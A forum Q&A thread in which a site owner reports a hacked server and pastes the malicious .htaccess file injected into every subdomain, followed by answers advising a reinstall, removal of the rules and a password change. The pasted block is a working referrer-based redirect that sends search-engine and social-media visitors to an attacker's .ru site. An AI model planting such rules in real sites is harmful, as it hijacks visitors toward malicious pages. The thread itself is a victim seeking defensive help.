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My server's been hacked EMERGENCY

All Subdomain folder with root folder they write a .htaccess file with this code

<IfModule mod_rewrite.c>                                                                                                                        
RewriteEngine On                                                                                                                        
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)
RewriteRule ^(.*)$ http://prohibited-strictly.ru/access/index.php [R=301,L]
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)
RewriteRule ^(.*)$ http://prohibited-strictly.ru/access/index.php [R=301,L]
</IfModule>

It redirects all my subdirectories to .ru site. Please help

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migrated from stackoverflow.com Jan 10 '12 at 11:33

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marked as duplicate by sysadmin1138 Jan 10 '12 at 12:37

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2 Answers 2

Depends heavily on what sort of virus you got. If your system was rooted you should reinstall.

There is no other safe way.

P.S. removing only the lines in your htaccess file is not enough. It will stop forwarding things to different domains right but you obviously have some sort of security leak.

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just removes the lines with RewriteRule & RewriteCond in front

edit

you might want to check you server & site for any malicious files... and change your FTP pasword

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